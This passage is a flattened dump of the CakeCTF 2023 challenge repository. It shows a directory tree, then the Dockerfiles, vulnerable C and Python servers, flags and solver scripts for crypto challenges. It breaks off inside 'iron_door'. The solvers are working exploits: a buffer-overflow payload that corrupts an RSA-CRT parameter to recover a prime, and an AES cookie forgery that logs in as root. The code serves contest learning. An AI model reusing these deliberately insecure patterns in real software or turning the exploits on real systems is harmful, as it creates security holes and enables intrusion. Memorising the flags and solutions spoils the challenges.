├── crypto ├── decryptyou │ ├── Dockerfile │ ├── Makefile │ ├── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ └── main.c │ ├── distfiles │ │ ├── chall │ │ └── main.c │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml ├── ding-dong-ting-ping │ ├── Dockerfile │ ├── Makefile │ ├── challenge │ │ └── server.py │ ├── distfiles │ │ └── server.py │ ├── docker-compose.yml │ ├── solution │ │ └── solver.py │ └── task.yml ├── iron_door │ ├── Dockerfile │ ├── Makefile │ ├── challenge │ │ └── server.py │ ├── distfiles │ │ └── server.py │ ├── docker-compose.yml │ ├── solution │ │ ├── solve.sage │ │ └── solve.sage.py │ ├── task.yml │ └── unintended │ │ ├── 2lll.sage │ │ ├── 2lll.sage.py │ │ └── rkm.sage ├── janken-vs-yoshiking-2 │ ├── Dockerfile │ ├── Makefile │ ├── challenge │ │ └── server.sage │ ├── compose.yaml │ ├── distfiles │ │ └── server.sage │ ├── poc.sage.py │ ├── solution │ │ ├── solve.sage │ │ └── solve.sage.py │ ├── solve.sage.py │ └── task.yml └── simple_signature │ ├── Dockerfile │ ├── Makefile │ ├── challenge │ └── server.py │ ├── distfiles │ └── server.py │ ├── docker-compose.yml │ ├── solution │ └── solve.py │ └── task.yml ├── misc ├── cranelift │ ├── Dockerfile │ ├── challenge │ │ └── flag.txt │ ├── distfiles │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── cranejit.diff │ │ ├── docker-compose.yml │ │ ├── run.py │ │ └── toy │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml ├── unicomp │ ├── Dockerfile │ ├── challenge │ │ └── flag.txt │ ├── distfiles │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ └── sandbox.py │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml └── wordtower │ ├── challenge │ ├── blocks.png │ ├── flag.py │ ├── gen.py │ ├── icon.ico │ ├── main.hsp │ └── words │ │ └── animal.hsp │ ├── distfiles │ └── wordtower.exe │ ├── solution │ └── cheat.lua │ └── task.yml ├── pwn ├── bofwow │ ├── Dockerfile │ ├── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ └── main.cpp │ ├── distfiles │ │ ├── Dockerfile │ │ ├── bofwow │ │ ├── docker-compose.yml │ │ ├── libc.so.6 │ │ └── main.cpp │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml ├── bofww │ ├── Dockerfile │ ├── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ └── main.cpp │ ├── distfiles │ │ ├── Dockerfile │ │ ├── bofww │ │ ├── docker-compose.yml │ │ └── main.cpp │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml ├── memorial_cabbage │ ├── Dockerfile │ ├── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ └── main.c │ ├── distfiles │ │ ├── Dockerfile │ │ ├── cabbage │ │ ├── docker-compose.yml │ │ └── main.c │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml └── vtable4b │ ├── Dockerfile │ ├── challenge │ ├── Makefile │ ├── chall │ ├── flag.txt │ └── main.cpp │ ├── docker-compose.yml │ ├── solution │ └── solve.py │ └── task.yml ├── rev ├── cakepuzzle │ ├── Dockerfile │ ├── Makefile │ ├── build.bash │ ├── challenge │ │ ├── ans.txt │ │ ├── chal │ │ ├── flag.txt │ │ ├── gen.py │ │ ├── main.c │ │ └── main.c.template │ ├── distfiles │ │ └── chal │ ├── docker-compose.yml │ └── task.yml ├── gaming_vm │ ├── challenge │ │ ├── Makefile │ │ ├── cake.c │ │ ├── g_syscalls.asm │ │ └── gen.py │ ├── distfiles │ │ ├── flag.qvm │ │ └── q3vm │ └── task.yml ├── imgchk │ ├── challenge │ │ ├── Makefile │ │ ├── flag.h │ │ ├── flag.png │ │ ├── gen.py │ │ └── main.c │ ├── distfiles │ │ ├── README.txt │ │ ├── imgchk │ │ ├── ld-linux-x86-64.so.2 │ │ └── lib │ │ │ ├── libc.so.6 │ │ │ ├── libcrypto.so.3 │ │ │ └── libpng16.so.16 │ ├── solution │ │ └── solve.py │ └── task.yml └── nande │ ├── challenge │ └── main.c │ ├── distfiles │ ├── nand.exe │ └── nand.pdb │ ├── solution │ └── solve.py │ └── task.yml └── web ├── adblog ├── distfiles │ ├── crawler │ │ ├── Dockerfile │ │ ├── crawler.js │ │ └── package.json │ ├── docker-compose.yml │ ├── redis │ │ ├── Dockerfile │ │ └── redis.conf │ ├── report │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── templates │ │ │ └── index.html │ │ └── uwsgi.ini │ └── service │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── static │ │ ├── css │ │ │ ├── ad-style.css │ │ │ └── simple-v1.min.css │ │ └── js │ │ │ └── ads.js │ │ ├── templates │ │ ├── blog.html │ │ └── index.html │ │ └── uwsgi.ini ├── docker-compose.yml ├── solution │ └── solve.py └── task.yml ├── country_db ├── Dockerfile ├── distfiles │ ├── Dockerfile │ ├── app.py │ ├── docker-compose.yml │ ├── init_db.py │ ├── templates │ │ └── index.html │ └── uwsgi.ini ├── docker-compose.yml ├── solution │ └── solve.py └── task.yml ├── openbio2 ├── distfiles │ ├── crawler │ │ ├── Dockerfile │ │ ├── crawler.js │ │ └── package.json │ ├── docker-compose.yml │ ├── redis │ │ ├── Dockerfile │ │ └── redis.conf │ ├── report │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── templates │ │ │ └── index.html │ │ └── uwsgi.ini │ └── service │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── templates │ │ ├── bio.html │ │ └── index.html │ │ └── uwsgi.ini ├── docker-compose.yml ├── solution │ └── solve.py └── task.yml └── towfl ├── distfiles ├── docker-compose.yml ├── redis │ ├── Dockerfile │ └── redis.conf └── service │ ├── Dockerfile │ ├── app.py │ ├── static │ ├── fonts │ │ └── hymmnos.ttf │ ├── img │ │ └── towfl.webp │ └── js │ │ └── script.js │ ├── templates │ └── index.html │ └── uwsgi.ini ├── docker-compose.yml ├── solution └── solve.py └── task.yml /crypto/decryptyou/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:11-slim AS base 2 | WORKDIR /app 3 | COPY distfiles/chall run 4 | COPY challenge/flag.txt /flag.txt 5 | 6 | FROM pwn.red/jail 7 | COPY --from=base / /srv 8 | ENV JAIL_TIME=300 JAIL_CPU=500 JAIL_MEM=10M 9 | -------------------------------------------------------------------------------- /crypto/decryptyou/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | rm -rf distfiles 3 | mkdir -p distfiles 4 | cd challenge && make 5 | cp ./challenge/main.c ./distfiles 6 | 7 | clean: 8 | rm -rf ./distfiles 9 | -------------------------------------------------------------------------------- /crypto/decryptyou/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o ../distfiles/chall -lgmp -static -Os 3 | strip --strip-all ../distfiles/chall 4 | -------------------------------------------------------------------------------- /crypto/decryptyou/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{h4lf_crypt0_h4lf_pWn_l1k3_c4k3!?} 2 | -------------------------------------------------------------------------------- /crypto/decryptyou/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | char flag[100]; 9 | 10 | typedef struct { 11 | struct { 12 | mpz_t u; mpz_t p; mpz_t q; mpz_t dp; mpz_t dq; 13 | } priv; 14 | struct { 15 | mpz_t n; mpz_t e; 16 | } pub; 17 | } rsacrt_t; 18 | 19 | /** @fn random_prime 20 | * @brief Generate a random prime number. 21 | * @param p: `mpz_t` variable to store the prime. 22 | * @param nbits: Bit length of the prime. 23 | */ 24 | void random_prime(mpz_t p, int nbits) { 25 | gmp_randstate_t state; 26 | gmp_randinit_default(state); 27 | gmp_randseed_ui(state, rand()); 28 | mpz_urandomb(p, state, nbits); 29 | mpz_nextprime(p, p); 30 | gmp_randclear(state); 31 | } 32 | 33 | /** @fn rsa_keygen 34 | * @brief Generate a key pair for RSA-CRT. 35 | * @param rsa: `rsacrt_t` structure to store the key. 36 | */ 37 | void rsa_keygen(rsacrt_t *rsa) { 38 | mpz_t p1, q1; 39 | mpz_inits(rsa->pub.n, rsa->pub.e, 40 | rsa->priv.u, rsa->priv.p, rsa->priv.q, rsa->priv.dp, rsa->priv.dq, 41 | p1, q1, NULL); 42 | 43 | /* Generate RSA parameters */ 44 | mpz_set_ui(rsa->pub.e, 65537); 45 | random_prime(rsa->priv.p, 512); 46 | random_prime(rsa->priv.q, 512); 47 | mpz_sub_ui(p1, rsa->priv.p, 1); 48 | mpz_sub_ui(q1, rsa->priv.q, 1); 49 | mpz_mul(rsa->pub.n, rsa->priv.p, rsa->priv.q); // n = p * q 50 | mpz_invert(rsa->priv.dp, rsa->pub.e, p1); // dp = e^-1 mod p-1 51 | mpz_invert(rsa->priv.dq, rsa->pub.e, q1); // dq = e^-1 mod q-1 52 | mpz_invert(rsa->priv.u, rsa->priv.q, rsa->priv.p); // u = q^-1 mod p 53 | } 54 | 55 | /** @fn challenge 56 | * @brief Can you solve this? 57 | * @param rsa: `rsacrt_t` structure containing a key pair. 58 | */ 59 | void challenge(rsacrt_t *rsa) { 60 | char buf[0x200]; 61 | gmp_randstate_t state; 62 | mpz_t x, m, c, cp, cq, mp, mq; 63 | mpz_inits(x, m, c, cp, cq, mp, mq, NULL); 64 | 65 | /* Generate a random number and encrypt it */ 66 | gmp_randinit_default(state); 67 | gmp_randseed_ui(state, rand()); 68 | mpz_urandomb(x, state, 512); 69 | mpz_powm_ui(c, x, 1333, rsa->pub.n); // c = x^1333 mod n 70 | 71 | gmp_printf("n = %Zd\n", rsa->pub.n); 72 | gmp_printf("c = %Zd\n", c); 73 | 74 | for (;;) { 75 | /* Input ciphertext */ 76 | printf("c = "); 77 | if (scanf("%s", buf) != 1 78 | || mpz_set_str(c, buf, 10) != 0) { 79 | fputs("Invalid input", stderr); 80 | exit(0); 81 | } 82 | 83 | /* Calculate plaintext */ 84 | mpz_mod(cp, c, rsa->priv.p); 85 | mpz_mod(cq, c, rsa->priv.q); 86 | mpz_powm(mp, cp, rsa->priv.dp, rsa->priv.p); 87 | mpz_powm(mq, cq, rsa->priv.dq, rsa->priv.q); 88 | // m = (((mp - mq) * u mod p) * q + mq) mod n 89 | mpz_set(m, mp); 90 | mpz_sub(m, m, mq); 91 | mpz_mul(m, m, rsa->priv.u); 92 | mpz_mod(m, m, rsa->priv.p); 93 | mpz_mul(m, m, rsa->priv.q); 94 | mpz_add(m, m, mq); 95 | mpz_mod(m, m, rsa->pub.n); 96 | gmp_printf("m = %Zd\n", m); 97 | 98 | /* Check plaintext */ 99 | if (mpz_cmp(m, x) == 0) { 100 | printf("Congratulations!\n" 101 | "Here is the flag: %s\n", flag); 102 | break; 103 | } 104 | } 105 | } 106 | 107 | /** 108 | * Entry point 109 | */ 110 | int main() { 111 | rsacrt_t rsa; 112 | rsa_keygen(&rsa); 113 | challenge(&rsa); 114 | return 0; 115 | } 116 | 117 | __attribute__((constructor)) 118 | void setup(void) { 119 | int seed; 120 | int fd; 121 | setvbuf(stdin, NULL, _IONBF, 0); 122 | setvbuf(stdout, NULL, _IONBF, 0); 123 | setvbuf(stderr, NULL, _IONBF, 0); 124 | 125 | // Get random seed 126 | if ((fd = open("/dev/urandom", O_RDONLY)) == -1 || 127 | read(fd, &seed, sizeof(seed)) != sizeof(seed)) { 128 | perror("setup failed"); 129 | exit(1); 130 | } 131 | close(fd); 132 | srand(seed); 133 | 134 | // Read flag 135 | if ((fd = open("/flag.txt", O_RDONLY)) == -1 || 136 | read(fd, flag, sizeof(flag)) <= 0) { 137 | perror("flag not found"); 138 | exit(1); 139 | } 140 | close(fd); 141 | } 142 | -------------------------------------------------------------------------------- /crypto/decryptyou/distfiles/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/crypto/decryptyou/distfiles/chall -------------------------------------------------------------------------------- /crypto/decryptyou/distfiles/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | char flag[100]; 9 | 10 | typedef struct { 11 | struct { 12 | mpz_t u; mpz_t p; mpz_t q; mpz_t dp; mpz_t dq; 13 | } priv; 14 | struct { 15 | mpz_t n; mpz_t e; 16 | } pub; 17 | } rsacrt_t; 18 | 19 | /** @fn random_prime 20 | * @brief Generate a random prime number. 21 | * @param p: `mpz_t` variable to store the prime. 22 | * @param nbits: Bit length of the prime. 23 | */ 24 | void random_prime(mpz_t p, int nbits) { 25 | gmp_randstate_t state; 26 | gmp_randinit_default(state); 27 | gmp_randseed_ui(state, rand()); 28 | mpz_urandomb(p, state, nbits); 29 | mpz_nextprime(p, p); 30 | gmp_randclear(state); 31 | } 32 | 33 | /** @fn rsa_keygen 34 | * @brief Generate a key pair for RSA-CRT. 35 | * @param rsa: `rsacrt_t` structure to store the key. 36 | */ 37 | void rsa_keygen(rsacrt_t *rsa) { 38 | mpz_t p1, q1; 39 | mpz_inits(rsa->pub.n, rsa->pub.e, 40 | rsa->priv.u, rsa->priv.p, rsa->priv.q, rsa->priv.dp, rsa->priv.dq, 41 | p1, q1, NULL); 42 | 43 | /* Generate RSA parameters */ 44 | mpz_set_ui(rsa->pub.e, 65537); 45 | random_prime(rsa->priv.p, 512); 46 | random_prime(rsa->priv.q, 512); 47 | mpz_sub_ui(p1, rsa->priv.p, 1); 48 | mpz_sub_ui(q1, rsa->priv.q, 1); 49 | mpz_mul(rsa->pub.n, rsa->priv.p, rsa->priv.q); // n = p * q 50 | mpz_invert(rsa->priv.dp, rsa->pub.e, p1); // dp = e^-1 mod p-1 51 | mpz_invert(rsa->priv.dq, rsa->pub.e, q1); // dq = e^-1 mod q-1 52 | mpz_invert(rsa->priv.u, rsa->priv.q, rsa->priv.p); // u = q^-1 mod p 53 | } 54 | 55 | /** @fn challenge 56 | * @brief Can you solve this? 57 | * @param rsa: `rsacrt_t` structure containing a key pair. 58 | */ 59 | void challenge(rsacrt_t *rsa) { 60 | char buf[0x200]; 61 | gmp_randstate_t state; 62 | mpz_t x, m, c, cp, cq, mp, mq; 63 | mpz_inits(x, m, c, cp, cq, mp, mq, NULL); 64 | 65 | /* Generate a random number and encrypt it */ 66 | gmp_randinit_default(state); 67 | gmp_randseed_ui(state, rand()); 68 | mpz_urandomb(x, state, 512); 69 | mpz_powm_ui(c, x, 1333, rsa->pub.n); // c = x^1333 mod n 70 | 71 | gmp_printf("n = %Zd\n", rsa->pub.n); 72 | gmp_printf("c = %Zd\n", c); 73 | 74 | for (;;) { 75 | /* Input ciphertext */ 76 | printf("c = "); 77 | if (scanf("%s", buf) != 1 78 | || mpz_set_str(c, buf, 10) != 0) { 79 | fputs("Invalid input", stderr); 80 | exit(0); 81 | } 82 | 83 | /* Calculate plaintext */ 84 | mpz_mod(cp, c, rsa->priv.p); 85 | mpz_mod(cq, c, rsa->priv.q); 86 | mpz_powm(mp, cp, rsa->priv.dp, rsa->priv.p); 87 | mpz_powm(mq, cq, rsa->priv.dq, rsa->priv.q); 88 | // m = (((mp - mq) * u mod p) * q + mq) mod n 89 | mpz_set(m, mp); 90 | mpz_sub(m, m, mq); 91 | mpz_mul(m, m, rsa->priv.u); 92 | mpz_mod(m, m, rsa->priv.p); 93 | mpz_mul(m, m, rsa->priv.q); 94 | mpz_add(m, m, mq); 95 | mpz_mod(m, m, rsa->pub.n); 96 | gmp_printf("m = %Zd\n", m); 97 | 98 | /* Check plaintext */ 99 | if (mpz_cmp(m, x) == 0) { 100 | printf("Congratulations!\n" 101 | "Here is the flag: %s\n", flag); 102 | break; 103 | } 104 | } 105 | } 106 | 107 | /** 108 | * Entry point 109 | */ 110 | int main() { 111 | rsacrt_t rsa; 112 | rsa_keygen(&rsa); 113 | challenge(&rsa); 114 | return 0; 115 | } 116 | 117 | __attribute__((constructor)) 118 | void setup(void) { 119 | int seed; 120 | int fd; 121 | setvbuf(stdin, NULL, _IONBF, 0); 122 | setvbuf(stdout, NULL, _IONBF, 0); 123 | setvbuf(stderr, NULL, _IONBF, 0); 124 | 125 | // Get random seed 126 | if ((fd = open("/dev/urandom", O_RDONLY)) == -1 || 127 | read(fd, &seed, sizeof(seed)) != sizeof(seed)) { 128 | perror("setup failed"); 129 | exit(1); 130 | } 131 | close(fd); 132 | srand(seed); 133 | 134 | // Read flag 135 | if ((fd = open("/flag.txt", O_RDONLY)) == -1 || 136 | read(fd, flag, sizeof(flag)) <= 0) { 137 | perror("flag not found"); 138 | exit(1); 139 | } 140 | close(fd); 141 | } 142 | -------------------------------------------------------------------------------- /crypto/decryptyou/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | decryptyou: 4 | build: . 5 | ports: 6 | - "10666:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /crypto/decryptyou/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import p32, Socket, Process 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", 10666)) 6 | 7 | sock = Socket(HOST, PORT) 8 | 9 | n = int(sock.recvlineafter("n = ")) 10 | flag_c = int(sock.recvlineafter("c = ")) 11 | # print(n) 12 | 13 | sock.sendlineafter("c = ", "123") 14 | # u = int(sock.recvlineafter("u = ")) 15 | # print("[DEBUG] u before bof:", u) 16 | 17 | payload = b"0\0" 18 | payload += b"A"*(0x250 - len(payload)) 19 | payload += p32(4) + p32(4) # whatever other than 0x09 20 | sock.sendlineafter("c = ", payload) 21 | # u = int(sock.recvlineafter("u = ")) 22 | # print("[DEBUG] u after bof:", u) 23 | 24 | ng, ok = 0, n 25 | cnt = 0 26 | while abs(ok - ng) > 1: 27 | # if q_ < q 28 | # mp = mq = q_ so mp - mq is zero. this means corrupting u doesn't effect 29 | # thus dec(enc(q_)) = mq = q_ 30 | # else 31 | # mp /= mq so mp - mq is not zero. so decryption fails because of corruption of u 32 | q_ = (ng + ok) // 2 33 | c = pow(q_, 65537, n) 34 | sock.sendlineafter("c = ", str(c)) 35 | m_ = int(sock.recvlineafter("m = ")) 36 | if m_ == q_: 37 | ng = q_ 38 | else: 39 | ok = q_ 40 | 41 | assert n % q_ == 0 and n != q_ 42 | p, q = n // q_, q_ 43 | e = 1333 44 | d = pow(e, -1, (p-1)*(q-1)) 45 | m = pow(flag_c, d, n) 46 | 47 | ans = pow(m, 65537, n) 48 | sock.sendlineafter("c = ", str(ans)) 49 | sock.interactive() 50 | -------------------------------------------------------------------------------- /crypto/decryptyou/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: decryptyou 3 | description: > 4 | signme <-> decryptyou 5 | nc {host} {port} 6 | flag: "CakeCTF{h4lf_crypt0_h4lf_pWn_l1k3_c4k3!?}" 7 | author: theoremoon,ptr-yudai 8 | host: crypto.2023.cakectf.com 9 | port: 10666 10 | tags: 11 | - crypto 12 | - pwn 13 | is_survey: false 14 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | RUN pip install pycryptodome 7 | ADD challenge/server.py server.py 8 | 9 | ENV FLAG "CakeCTF{}" 10 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py" 11 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | rm -rf ./distfiles 3 | mkdir -p ./distfiles 4 | cp ./challenge/server.py ./distfiles 5 | 6 | clean: 7 | rm -rf ./distfiles 8 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/challenge/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | from base64 import b64decode, b64encode 3 | from hashlib import md5 4 | from datetime import datetime 5 | from Crypto.Cipher import AES 6 | 7 | FLAG = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") 8 | PREFIX = os.environ.get("PREFIX", "cake").encode() 9 | 10 | KEY = os.urandom(16) 11 | IV = os.urandom(16) 12 | aes = AES.new(KEY, AES.MODE_ECB) 13 | 14 | xor = lambda a, b: bytes([x^y for x, y in zip(a, b)]) 15 | 16 | def pad(data: bytes): 17 | l = 16 - len(data) % 16 18 | return data + bytes([l]*l) 19 | 20 | def unpad(data: bytes): 21 | return data[:-data[-1]] 22 | 23 | def encrypt(plain: bytes): 24 | plain = pad(plain) 25 | blocks = [plain[i:i+16] for i in range(0, len(plain), 16)] 26 | ciphers = [IV] 27 | for block in blocks: 28 | block = xor(block, md5(ciphers[-1]).digest()) 29 | ciphers.append(aes.encrypt(block)) 30 | return b"".join(ciphers) 31 | 32 | def decrypt(cipher: bytes): 33 | blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)] 34 | h = md5(blocks[0]).digest() # IV 35 | plains = [] 36 | for block in blocks[1:]: 37 | plains.append(xor(aes.decrypt(block), h)) 38 | h = md5(block).digest() 39 | return unpad(b"".join(plains)) 40 | 41 | def register(): 42 | username = b64decode(input("username(base64): ").strip()) 43 | if b"root" in username: 44 | print("Cannot register as root user!") 45 | else: 46 | cookie = b"|".join([PREFIX, b"user="+username, str(datetime.now()).encode()]) 47 | cookie = encrypt(cookie) 48 | cookie = b64encode(cookie) 49 | print("your cookie =>", cookie.decode()) 50 | return 51 | 52 | def login(): 53 | cookie = input("cookie: ").strip() 54 | cookie = decrypt(b64decode(cookie)) 55 | data = cookie.split(b"|") 56 | if (data[0] == PREFIX) and data[1].startswith(b"user="): 57 | username = data[1].split(b"=")[1] 58 | time = data[2] 59 | else: 60 | print("Authentication unsuccessful...") 61 | return 62 | print(f"Hi, {username.decode()}! [registered at {time.decode()}]") 63 | if username != b"root": 64 | print("You're not the root user...") 65 | else: 66 | print("Ding-Dong, Ding-Dong, Welcome, root. The ultimate authority has logged in.") 67 | print("This is for you => ", FLAG) 68 | return 69 | 70 | while True: 71 | print("===== MENU =====") 72 | choice = int(input("[1]register [2]login: ").strip()) 73 | if choice == 1: 74 | register() 75 | elif choice == 2: 76 | login() 77 | else: 78 | print("Invalid choice") 79 | print() 80 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/distfiles/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | from base64 import b64decode, b64encode 3 | from hashlib import md5 4 | from datetime import datetime 5 | from Crypto.Cipher import AES 6 | 7 | FLAG = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") 8 | PREFIX = os.environ.get("PREFIX", "cake").encode() 9 | 10 | KEY = os.urandom(16) 11 | IV = os.urandom(16) 12 | aes = AES.new(KEY, AES.MODE_ECB) 13 | 14 | xor = lambda a, b: bytes([x^y for x, y in zip(a, b)]) 15 | 16 | def pad(data: bytes): 17 | l = 16 - len(data) % 16 18 | return data + bytes([l]*l) 19 | 20 | def unpad(data: bytes): 21 | return data[:-data[-1]] 22 | 23 | def encrypt(plain: bytes): 24 | plain = pad(plain) 25 | blocks = [plain[i:i+16] for i in range(0, len(plain), 16)] 26 | ciphers = [IV] 27 | for block in blocks: 28 | block = xor(block, md5(ciphers[-1]).digest()) 29 | ciphers.append(aes.encrypt(block)) 30 | return b"".join(ciphers) 31 | 32 | def decrypt(cipher: bytes): 33 | blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)] 34 | h = md5(blocks[0]).digest() # IV 35 | plains = [] 36 | for block in blocks[1:]: 37 | plains.append(xor(aes.decrypt(block), h)) 38 | h = md5(block).digest() 39 | return unpad(b"".join(plains)) 40 | 41 | def register(): 42 | username = b64decode(input("username(base64): ").strip()) 43 | if b"root" in username: 44 | print("Cannot register as root user!") 45 | else: 46 | cookie = b"|".join([PREFIX, b"user="+username, str(datetime.now()).encode()]) 47 | cookie = encrypt(cookie) 48 | cookie = b64encode(cookie) 49 | print("your cookie =>", cookie.decode()) 50 | return 51 | 52 | def login(): 53 | cookie = input("cookie: ").strip() 54 | cookie = decrypt(b64decode(cookie)) 55 | data = cookie.split(b"|") 56 | if (data[0] == PREFIX) and data[1].startswith(b"user="): 57 | username = data[1].split(b"=")[1] 58 | time = data[2] 59 | else: 60 | print("Authentication unsuccessful...") 61 | return 62 | print(f"Hi, {username.decode()}! [registered at {time.decode()}]") 63 | if username != b"root": 64 | print("You're not the root user...") 65 | else: 66 | print("Ding-Dong, Ding-Dong, Welcome, root. The ultimate authority has logged in.") 67 | print("This is for you => ", FLAG) 68 | return 69 | 70 | while True: 71 | print("===== MENU =====") 72 | choice = int(input("[1]register [2]login: ").strip()) 73 | if choice == 1: 74 | register() 75 | elif choice == 2: 76 | login() 77 | else: 78 | print("Invalid choice") 79 | print() 80 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | ding-dong-ting-ping: 4 | build: ./ 5 | ports: 6 | - 11111:9999 7 | environment: 8 | FLAG: "CakeCTF{dongdingdongding-dingdong-dongdingdong-ding}" 9 | PREFIX: "TING~DING~DONG~XD" 10 | restart: unless-stopped 11 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/solution/solver.py: -------------------------------------------------------------------------------- 1 | from ptrlib import Socket 2 | from base64 import b64decode, b64encode 3 | from hashlib import md5 4 | from time import sleep 5 | 6 | xor = lambda a, b: bytes([x^y for x, y in zip(a, b)]) 7 | 8 | def find_len(): 9 | for i in range(16): 10 | sock = Socket("localhost", 10321) 11 | 12 | sock.sendlineafter(": ", "1") 13 | sock.sendlineafter("username(base64): ", b64encode(b"a"*i)) 14 | cookie = sock.recvlineafter("cookie => ") 15 | cookie = b64decode(cookie) 16 | print(i, len(cookie)) 17 | sock.close() 18 | return 19 | 20 | # find_len() 21 | # exit() 22 | 23 | sock = Socket("localhost", 10321) 24 | sock.sendlineafter(": ", "1") 25 | username = b"a" * 9 26 | sock.sendlineafter("username(base64): ", b64encode(username)) 27 | 28 | cookie = sock.recvlineafter("cookie => ") 29 | cookie = b64decode(cookie) 30 | blocks = [cookie[i:i+16] for i in range(0, len(cookie), 16)] 31 | second = md5(blocks[1]).digest() 32 | third = md5(blocks[2]).digest() 33 | 34 | for c in range(256): 35 | payload = xor(second, bytes([c]) + b"|user=root|aaaa") 36 | payload = xor(third, payload) 37 | 38 | sock.sendlineafter(": ", "1") 39 | sock.sendlineafter("username(base64): ", b64encode(username + payload)) 40 | 41 | payload_cookie = sock.recvlineafter("cookie => ") 42 | payload_cookie = b64decode(payload_cookie) 43 | 44 | attack_cookie = cookie[:32] + payload_cookie[48:] 45 | 46 | sock.sendlineafter(": ", "2") 47 | sock.sendlineafter("cookie: ", b64encode(attack_cookie)) 48 | 49 | r = sock.recvline() 50 | if b"Hi, root!" in r: 51 | sock.interactive() 52 | -------------------------------------------------------------------------------- /crypto/ding-dong-ting-ping/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: ding-dong-ting-ping 3 | description: > 4 | nc {host} {port} 5 | flag: "CakeCTF{dongdingdongding-dingdong-dongdingdong-ding}" 6 | author: yoshiking 7 | host: crypto.2023.cakectf.com 8 | port: 11111 9 | tags: 10 | - crypto 11 | is_survey: false 12 | -------------------------------------------------------------------------------- /crypto/iron_door/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | RUN pip install pycryptodome 7 | ADD challenge/server.py server.py 8 | 9 | ENV FLAG "CakeCTF{}" 10 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py" 11 | -------------------------------------------------------------------------------- /crypto/iron_door/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | rm -rf ./distfiles 3 | mkdir -p ./distfiles 4 | cp ./challenge/server.py ./distfiles 5 | 6 | clean: 7 | rm -rf ./distfiles 8 | -------------------------------------------------------------------------------- /crypto/iron_door/challenge/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes 2 | from hashlib import sha256 3 | import os 4 | import secrets 5 | import signal 6 | 7 | 8 | def h1(s: bytes) -> int: 9 | return int(sha256(s).hexdigest()[:40], 16) 10 | 11 | def h2(s: bytes) -> int: 12 | return int(sha256(s).hexdigest()[:50], 16) 13 | 14 | # curl https://2ton.com.au/getprimes/random/2048 15 | q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 16 | p = 2*q + 1 17 | 18 | assert isPrime(p) 19 | assert isPrime(q) 20 | 21 | g = 3 22 | flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}") 23 | x = getRandomRange(0, q) 24 | y = pow(g, x, p) 25 | salt = secrets.token_bytes(16) 26 | 27 | 28 | def sign(m: bytes): 29 | z = h1(m) 30 | k = inverse(h2(long_to_bytes(x + z)), q) 31 | r = h2(long_to_bytes(pow(g, k, p))) 32 | s = (z + x*r) * inverse(k, q) % q 33 | return r, s 34 | 35 | 36 | def verify(m: bytes, r: int, s: int): 37 | z = h1(m) 38 | sinv = inverse(s, q) 39 | gk = pow(g, sinv*z, p) * pow(y, 